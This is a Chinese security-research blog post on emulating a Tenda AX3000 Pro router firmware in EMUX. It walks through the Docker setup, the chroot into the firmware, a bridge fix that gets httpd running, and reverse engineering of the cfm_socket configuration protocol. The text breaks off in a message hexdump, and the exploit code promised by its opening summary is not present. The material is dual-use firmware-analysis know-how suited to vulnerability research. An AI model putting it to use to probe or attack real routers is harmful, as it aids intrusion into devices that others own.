文章总结： 这篇文章详细介绍了如何使用EMUX模拟TD路由器环境，解决了HTTPD服务启动问题，通过模拟CFM_SOCKET通信机制成功运行路由器固件，并最终发现并利用了路由器中的命令注入漏洞，提供了完整的漏洞利用代码。文章对路由器安全研究有较高参考价值。
综合评分： 91
文章分类： 漏洞分析,IoT安全,二进制安全,实战经验,安全工具

TD路由器环境模拟与漏洞分析

易之生生

看雪学苑

2025年12月9日 17:59
上海

一、环境配置

#

版本 :AX3000_Pro_V16.03.49.26

EMUX :emux

#

二、EMUX配置

#

首先按照官方的步骤配置EMUX的环境：

docker run hello-world

sudo groupadd docker
sudo gpasswd -a&nbsp;$USER&nbsp;docker
sudo usermod -aG docker&nbsp;$USER

git&nbsp;clone&nbsp;--depth 1 --single-branch &nbsp;https://github.com/therealsaumil/emux.git

cd&nbsp;emux
./build-emux-volume
./build-emux-docker

如果build-emux-docker编译失败,设置DOCKER_BUILDKIT=0:

- DOCKER_BUILDKIT=1 docker build -t&nbsp;$OWNERNAME/$IMAGENAME:$TAGNAME&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-f Dockerfile-emux .
+ DOCKER_BUILDKIT=0 docker build -t&nbsp;$OWNERNAME/$IMAGENAME:$TAGNAME&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-f Dockerfile-emux .

之后执行./run-emux-docker就进入了EMUX:

/run-emux-docker
[+] Starting tun0
[+] Starting NFS
&nbsp; &nbsp;program version netid &nbsp; &nbsp; address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;service &nbsp; &nbsp;owner
&nbsp; &nbsp; 100000 &nbsp; &nbsp;4 &nbsp; &nbsp;tcp6 &nbsp; &nbsp; &nbsp;::.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;3 &nbsp; &nbsp;tcp6 &nbsp; &nbsp; &nbsp;::.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;4 &nbsp; &nbsp;udp6 &nbsp; &nbsp; &nbsp;::.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;3 &nbsp; &nbsp;udp6 &nbsp; &nbsp; &nbsp;::.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;4 &nbsp; &nbsp;tcp &nbsp; &nbsp; &nbsp; 0.0.0.0.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;3 &nbsp; &nbsp;tcp &nbsp; &nbsp; &nbsp; 0.0.0.0.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;2 &nbsp; &nbsp;tcp &nbsp; &nbsp; &nbsp; 0.0.0.0.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;4 &nbsp; &nbsp;udp &nbsp; &nbsp; &nbsp; 0.0.0.0.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;3 &nbsp; &nbsp;udp &nbsp; &nbsp; &nbsp; 0.0.0.0.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;2 &nbsp; &nbsp;udp &nbsp; &nbsp; &nbsp; 0.0.0.0.0.111 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;4 &nbsp; &nbsp;local&nbsp; &nbsp; &nbsp;/var/run/rpcbind.sock &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
&nbsp; &nbsp; 100000 &nbsp; &nbsp;3 &nbsp; &nbsp;local&nbsp; &nbsp; &nbsp;/var/run/rpcbind.sock &nbsp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;superuser
rpc.nfsd: knfsd is currently down
rpc.nfsd: Writing version string to kernel: -2 +3
rpc.nfsd: Created AF_INET TCP socket.
rpc.nfsd: Created AF_INET6 TCP socket.
rpc.nfsd: knfsd is currently up
exporting 192.168.100.0/24:/emux
/emux &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 192.168.100.0/24
[+] Setting up forwarded ports 20080:80,20443:443,28080:8080,24433:4433,9999:9999
[+] mapping port 20080 -> 192.168.100.2:80
[+] mapping port 20443 -> 192.168.100.2:443
[+] mapping port 28080 -> 192.168.100.2:8080
[+] mapping port 24433 -> 192.168.100.2:4433
[+] mapping port 9999 -> 192.168.100.2:9999
&nbsp; ___ __ &nbsp;__ _ &nbsp; __ &nbsp;__
&nbsp;/ __| &nbsp;\/ &nbsp;| | |\ \/ / &nbsp; by Saumil Shah | The Exploit Laboratory
&nbsp;| __| |\/| | |_| ) &nbsp;( &nbsp; &nbsp;@therealsaumil | emux.exploitlab.net
&nbsp;\___|_| &nbsp;|__\___/_/\_\

#

三、TD路由配置

#

路由器的固件配置是在files/emux/firmware目录，新建一个TENDA-USAX3000目录，目录结构如下:

.
├──&nbsp;config
├── kernel
│ &nbsp; └── gzImage-5.10.25-arm64
└── squashfs-root

config 为配置文件，kernel下的为Linux内核文件，squashfs-root下的为路由器固件。

config内容如下:

# Sample device configuration file
#
# The device ID should have a prefix of 'firmware/' or 'firmware-extra/'
# depending upon which parent directory you wish to place the firmware into
#
id=firmware/TENDA-USAX3000
#nvram=nvram.ini
rootfs=squashfs-root
randomize_va_space=0
#ld_preload=preload
initcommands="/etc_ro/init_tab"

然后在firmware下的devices中增加一条路由器的设备信息,路由器的固件环境配置就完成了。

firmware/TENDA-USAX3000,qemu-system-aarch64,virt,cortex-a72,,256M,gzImage-5.10.25-arm64,VIRTARM64,TENDA-USAX3000&nbsp;(AArch64 Simulation)

之后运行 ./build-emux-volume :

&nbsp;./build-emux-volume
Removing harambe
harambe
Removing null image
Untagged: null:latest
Deleted: sha256:e15dabec267fc72e817f5c47a58fb83dc549281c0611fceb98a0432abf597211
Creating harambe afresh
harambe
Making a new null image
DEPRECATED: The legacy builder is deprecated and will be removed&nbsp;in&nbsp;a future release.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Install the buildx component to build images with BuildKit:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; https://docs.docker.com/go/buildx/

Sending build context to Docker daemon &nbsp;1.276GB
Step 1/2 : FROM scratch
&nbsp;--->
Step 2/2 : CMD [""]
&nbsp;---> Running&nbsp;in&nbsp;37b7b3197dbb
&nbsp;---> Removed intermediate container 37b7b3197dbb
&nbsp;---> 63cb1fedd6cd
Successfully built 63cb1fedd6cd
Successfully tagged null:latest
05a92b329f2556a35add5fdb1336250ab6d60e311adab5bf435565a30b63986b
Copying from files/emux to /emux
files/emux/LICENSE.TXT -> /emux
Successfully copied 18.4kB to empty:/emux
files/emux/firmware -> /emux
Successfully copied 983MB to empty:/emux
files/emux/hostfs -> /emux
Successfully copied 56.6MB to empty:/emux
files/emux/qemuopts -> /emux
Successfully copied 2.56kB to empty:/emux
files/emux/run -> /emux
Successfully copied 49.2kB to empty:/emux
files/emux/template -> /emux
Successfully copied 54.2MB to empty:/emux
Done..cleaning up containers
empty

然后运行 ./run-emux-docker ,进入emux shell:

./run-emux-docker
[+]Startingtun0
[+]StartingNFS
programversionnetidaddressserviceowner
100000&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp;&nbsp;tcp6&nbsp; &nbsp; &nbsp; ::.0.111-superuser
100000&nbsp; &nbsp;&nbsp;3&nbsp; &nbsp;&nbsp;tcp6&nbsp; &nbsp; &nbsp; ::.0.111-superuser
100000&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp;&nbsp;udp6&nbsp; &nbsp; &nbsp; ::.0.111-superuser
100000&nbsp; &nbsp;&nbsp;3&nbsp; &nbsp;&nbsp;udp6&nbsp; &nbsp; &nbsp; ::.0.111-superuser
100000&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp;&nbsp;tcp0.0.0.0.0.111-superuser
100000&nbsp; &nbsp;&nbsp;3&nbsp; &nbsp;&nbsp;tcp0.0.0.0.0.111-superuser
100000&nbsp; &nbsp;&nbsp;2&nbsp; &nbsp;&nbsp;tcp0.0.0.0.0.111-superuser
100000&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp;&nbsp;udp0.0.0.0.0.111-superuser
100000&nbsp; &nbsp;&nbsp;3&nbsp; &nbsp;&nbsp;udp0.0.0.0.0.111-superuser
100000&nbsp; &nbsp;&nbsp;2&nbsp; &nbsp;&nbsp;udp0.0.0.0.0.111-superuser
100000&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp;&nbsp;local&nbsp; &nbsp; &nbsp;/var/run/rpcbind.sock-superuser
100000&nbsp; &nbsp;&nbsp;3&nbsp; &nbsp;&nbsp;local&nbsp; &nbsp; &nbsp;/var/run/rpcbind.sock-superuser
rpc.nfsd:&nbsp;knfsdiscurrentlydown
rpc.nfsd:&nbsp;Writingversionstringtokernel:&nbsp;-2&nbsp;+3
rpc.nfsd:&nbsp;CreatedAF_INETTCPsocket.
rpc.nfsd:&nbsp;CreatedAF_INET6TCPsocket.
rpc.nfsd:&nbsp;knfsdiscurrentlyup
exporting192.168.100.0/24:/emux
/emux192.168.100.0/24
[+]Settingupforwardedports20080:80,20443:443,28080:8080,24433:4433,9999:9999
[+]mappingport20080&nbsp;->&nbsp;192.168.100.2:80
[+]mappingport20443&nbsp;->&nbsp;192.168.100.2:443
[+]mappingport28080&nbsp;->&nbsp;192.168.100.2:8080
[+]mappingport24433&nbsp;->&nbsp;192.168.100.2:4433
[+]mappingport9999&nbsp;->&nbsp;192.168.100.2:9999
____________
&nbsp;/&nbsp;__| &nbsp;\/ &nbsp;| | |\ \/ / &nbsp;&nbsp;bySaumilShah&nbsp;|&nbsp;TheExploitLaboratory
&nbsp;|&nbsp;__| |\/| | |_| ) &nbsp;( &nbsp; &nbsp;@therealsaumil&nbsp;| emux.exploitlab.net
&nbsp;\___|_| &nbsp;|__\___/_/\_\

[EMUX-DOCKER ] ~$

运行launcher 选择运行的设备,或者新开一个窗口,运行 ./emux-docker-shell同样进入EMUX-DOCKER的SHELL,之后运行launcher选择路由器固件:

之后进入EMUX DEVICE CONSOLE:

_____________
/&nbsp;___| &nbsp;\/ &nbsp;| | |\ \/ / &nbsp;&nbsp;bySaumilShah&nbsp;|&nbsp;TheExploitLaboratory
|&nbsp;___| |\/| | |_| ) &nbsp;( &nbsp; &nbsp;@therealsaumil&nbsp;| emux.exploitlab.net
\____|_| &nbsp;|__\___/_/\_\ &nbsp; Linux&nbsp;5.10.25&nbsp;[aarch64]

Architecture: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;aarch64
CPU&nbsp;op-mode(s): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;32-bit,&nbsp;64-bit
Byte&nbsp;Order: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Little Endian
CPU(s): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1
On-line&nbsp;CPU(s)&nbsp;list: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0
Thread(s) per&nbsp;core: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1
Core(s) per&nbsp;socket: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1
Socket(s): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1
Vendor&nbsp;ID: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ARM
Model: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;3
Model&nbsp;name: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Cortex-A72
Stepping: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r0p3
BogoMIPS: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;125.00
Vulnerability Itlb&nbsp;multihit: &nbsp; &nbsp;&nbsp;Not&nbsp;affected
Vulnerability&nbsp;L1tf: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Not&nbsp;affected
Vulnerability&nbsp;Mds: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Not&nbsp;affected
Vulnerability&nbsp;Meltdown: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Not&nbsp;affected
Vulnerability Spec store&nbsp;bypass: Vulnerable
Vulnerability Spectre&nbsp;v1: &nbsp; &nbsp; &nbsp; &nbsp;Mitigation; __user pointer sanitization
Vulnerability Spectre&nbsp;v2: &nbsp; &nbsp; &nbsp; &nbsp;Vulnerable
Vulnerability&nbsp;Srbds: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Not&nbsp;affected
Vulnerability Tsx async&nbsp;abort: &nbsp;&nbsp;Not&nbsp;affected
Flags: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fp asimd evtstrm aes pmull sha1 sha2 crc32 cpuid

EMUX DEVICE CONSOLE

EMUX&nbsp;login: root

输入root进入路由器的环境选择页面:

第一个是进入EMUX的AArch64环境，第二个是按照config的配置文件运行initcommands=”/etc_ro/init_tab”后进入路由器的环境，第三个是直接进入路由器的固件shell,选择第三个进入路由器的固件shell:

Entering&nbsp;TENDA-USAX3000&nbsp;(AArch64&nbsp;Simulation)&nbsp;CONSOLE&nbsp;(/bin/sh)
Syntax:loadnvram&nbsp;<ini&nbsp;file>
[+]&nbsp;chroot&nbsp;/emux/firmware/TENDA-USAX3000/squashfs-root&nbsp;/.emux/emuxshell
/&nbsp;# ls -la
total&nbsp;64
drwxr-xr-x&nbsp; &nbsp;18&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;22&nbsp;06:04&nbsp;.
drwxr-xr-x&nbsp; &nbsp;18&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;22&nbsp;06:04&nbsp;..
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;22&nbsp;06:04&nbsp;.emux
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;bin
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;cfg
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;cfg_bak
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;data
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;10&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;debug&nbsp;->&nbsp;/var/debug
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;dev
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 8&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;etc&nbsp;->&nbsp;/var/etc
drwxr-xr-x&nbsp; &nbsp;10&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;etc_ro
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;home&nbsp;->&nbsp;/var/home
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;11&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;init&nbsp;->&nbsp;bin/busybox
drwxr-xr-x&nbsp; &nbsp;&nbsp;4&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;lib
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;mnt
dr-xr-xr-x&nbsp;&nbsp;104&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;Nov&nbsp;22&nbsp;05:54&nbsp;proc
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;root&nbsp;->&nbsp;/var/root
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;sbin
dr-xr-xr-x&nbsp; &nbsp;12&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;Nov&nbsp;22&nbsp;05:54&nbsp;sys
drwxr-xr-x&nbsp; &nbsp;&nbsp;2&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;tmp
drwxr-xr-x&nbsp; &nbsp;&nbsp;6&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;usr
drwxr-xr-x&nbsp; &nbsp;&nbsp;6&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;var
lrwxrwxrwx&nbsp; &nbsp;&nbsp;1&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;12&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;webroot&nbsp;->&nbsp;/var/webroot
drwxr-xr-x&nbsp; &nbsp;&nbsp;3&nbsp;1000 &nbsp; &nbsp; 1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4096&nbsp;Nov&nbsp;18&nbsp;03:51&nbsp;webroot_ro
/&nbsp;#

查看 inittab 的信息:

cat inittab
::sysinit:/etc_ro/init.d/rcS
ttyS0::respawn:/sbin/sulogin
#先取消登录，直接进入shell
#ttyS0::askfirst:/bin/sh

路由器环境初始化运行的是rcS脚本,可以直接运行rcS脚本，也可以选择性的运行以下的命令:

PATH=/sbin:/bin:/usr/sbin:/usr/bin/
export&nbsp;PATH
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug

mount -t ramfs none /var/
mount -t tmpfs none /data/

mkdir&nbsp;-p /var/etc
mkdir&nbsp;-p /var/media
mkdir&nbsp;-p /var/webroot
mkdir&nbsp;-p /var/etc/iproute
mkdir&nbsp;-p /var/run
mkdir&nbsp;-p /etc/udhcpc
mkdir&nbsp;-p /var/debug

cp&nbsp;-rf /etc_ro/eth_name_conf.txt /var/
cp&nbsp;-rf /etc_ro/eth_to_port_config.txt /var/
cp&nbsp;-rf /etc_ro/led_stat_rssi_th.txt /var/
cp&nbsp;-rf /etc_ro/config_encrypt_pass /var/config_encrypt_pass
cp&nbsp;-rf /etc_ro/rsa_public_key.pem /var/
cp&nbsp;-rf /etc_ro/signed_key /var/
cp&nbsp;-rf /etc_ro/* /etc/
cp&nbsp;-rf /webroot_ro/* /webroot/
cp&nbsp;-rf /etc_ro/speedtest-config.php /var/
umount -f /tmp
mount -t tmpfs none /tmp -o size=20M
mount -a
mount -t ramfs /dev
mkdir&nbsp;/dev/pts
mount -t devpts devpts /dev/pts
/sbin/mdev -s
mkdir&nbsp;/var/run

cd&nbsp;/dev
mkDev &nbsp; &nbsp;console &nbsp; &nbsp;c &nbsp; &nbsp;5 &nbsp; &nbsp;1 &nbsp; &nbsp;$disk
mkDev &nbsp; &nbsp;ttyS0 &nbsp; &nbsp;c &nbsp; &nbsp;204 &nbsp; &nbsp;64 &nbsp; &nbsp;$disk
mkDev &nbsp; &nbsp;urandom &nbsp; &nbsp;c &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp;9 &nbsp;&nbsp;$disk
cd&nbsp;/
/bin/cnsl_safe &
/sbin/udevd &
#echo '/sbin/mdev' > /proc/sys/kernel/hotplug
#echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf
#echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf
#echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf
#echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf

mkdir&nbsp;-p /var/ppp

之后运行开启httpd服务的命令:

/bin/httpd --debugger --verbose
connect:&nbsp;No such file&nbsp;or&nbsp;directory
func:cfms_mib_proc_handle, line:199&nbsp;connect cfmd&nbsp;is&nbsp;error.
goahead:0: setLocalHost&nbsp;error
goahead:0: Cannot initialize server. Exiting.

#

四、HTTPD调试

#

HTTPD的报错提示分为两个部分，一个是connect和func:cfms_mib_proc_handle的错误，另一个是goahead的错误，优先分析goahead的错误。

根据setLocalHost error的提示，应该是httpd的main调用libgo.so的websOpen时报错，在websOpen的子函数sub_FFFFF7983690发现有获取br0网桥的地址：

使用ip link 新增一个虚拟网桥br0,并分配和eth0相同的IP地址:

ip&nbsp;link&nbsp;add name br0&nbsp;type&nbsp;bridge
ip&nbsp;link&nbsp;set&nbsp;br0 up
ip addr add 192.168.100.2/24 dev br0

再次运行/bin/httpd –debugger –verbose 成功开启HTTPD服务:

/bin/httpd --debugger --verbose
connect: No such file or directory
func:cfms_mib_proc_handle, line:199 connect cfmd is error.
[init_ucloud_v2][1182]:cgi_ucloud_init start
connect: No such file or directory
func:cfms_mib_proc_handle, line:199 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:199 connect cfmd is error.
goahead: 2: Configuration for Embedthis GoAhead
goahead: 2: ---------------------------------------------goahead: 2: Version: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4.0.1
goahead: 2: BuildType: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Debug
goahead: 2: CPU: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;arm
goahead: 2: OS: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; linux
goahead: 2: Host: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 192.168.100.2
goahead: 2: Directory: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/
goahead: 2: Documents: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/webroot/publish
goahead: 2: Configure: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;me -d -q -platform linux-x86-default -configure . -gen make
goahead: 2: ---------------------------------------------goahead: 2: Started http://*:80

根据EMUX的端口映射信息，访问20080端口成功打开登陆页面:

但是输入任何密码都无法进入，重新打开一个emux-docker 输入 userspace 选择第三个进入路由器的HOST:

进入/var/webroot 查看 default.cfg 的配置文件:

...
sys.quickset.cfg=1
...
sys.username=admin
sys.userpass=
...

因为没有设置密码sys.userpass的值为空，但是sys.quickset.cfg为1应该进入路由器的设置页面，却没有进入。

在libgo.so中的authSecurityHandler函数中有对g_fast_setting == 1时跳转到quickset.html的判断:

查看g_fast_setting的写函数,是调用了libcommon.so的GetValue()函数获取sys.quickset.cfg的值:

在libcommon.so的GetValue函数中，有对unix套接字/var/cfm_socket的连接操作:

cfms_encode_msg 和 cfms_proc_send_msg 为发送MSG信息;

ugw_proc_recv_msg 和 cfms_decode_msg 为接收MSG信息。

五、CFM_SOCKET分析

#

搜索/var/cfm_socket字符串，在/bin/cfmd的程序中有注册unix socket /var/cfm_socket的操作:

直接运行/bin/cfmd 提示获取mtd的大小失败:

/bin/cfmd
cfms_apmib_init&nbsp;720: cfms apmib&nbsp;init&nbsp;fail (try&nbsp;1&nbsp;times)
cfms_apmib_init&nbsp;720: cfms apmib&nbsp;init&nbsp;fail (try&nbsp;2&nbsp;times)
cfms_apmib_init&nbsp;726: cfms apmib&nbsp;init&nbsp;fail
cfms_apmib_default&nbsp;538:&nbsp;Restoredefault&nbsp;apmib config
func:cfms_apmib_default, line:544,&nbsp;get&nbsp;mtd size&nbsp;is&nbsp;fail.

对应的代码如下:

跟进get_mtd_size_w(“CFG”)函数,在libcommon.so的get_mtd_size中有对mtd的操作:

对mtd_open函数进行分析，其读取/proc/mtd的内容，根据name的值找到对应的mtd:

查看/proc/mtd信息，如果可以增加一条name为CFG的mtd1信息，然后在/dev/下创建一个mtd1的image，那么这个cfmd程序或许就会运行成功。另外一种方式是直接编程实现/var/cfm_socket的unix socket。

cat&nbsp;/proc/mtd
dev: &nbsp; &nbsp;size &nbsp; erasesize &nbsp;name
mtd0: 08000000 00004000&nbsp;"NAND simulator partition 0"

#

六、CFM_SOCKET模拟

#

CFM_SOCKET基本功能就是读写default.cfg配置文件信息，分析libcommon.so的GetValue和SetValue，其cfms_encode_msg和cfms_decode_msg的函数如下:

消息格式为 [长度+JSON(type,name,value)]

在cfmd程序调用cfms_encode_msg时，对type进行了+1:

程序接收和发送查询信息的消息格式如下:

00000000: 2C 00 00 00 7B 22 74 79 &nbsp;70 65 22 3A 34 2C 22 6E &nbsp;,...{"type":4,"n
00000010: 61 6D 65 22 3A 22 73 79 &nbsp;73 2E 73 73 6C 65 6E 61 &nbsp;ame":"sys.sslena
00000020: 62 6C 65 22 2C 22 76 61 &nbsp;6C 75 65 22 3A 22 22 7D &nbsp;ble","value":""}

00000000: 32 00 00 00 7B 22 74 79 &nbsp;70 65 22 3A 20 35 2C 20 &nbsp;2...{"type": 5,
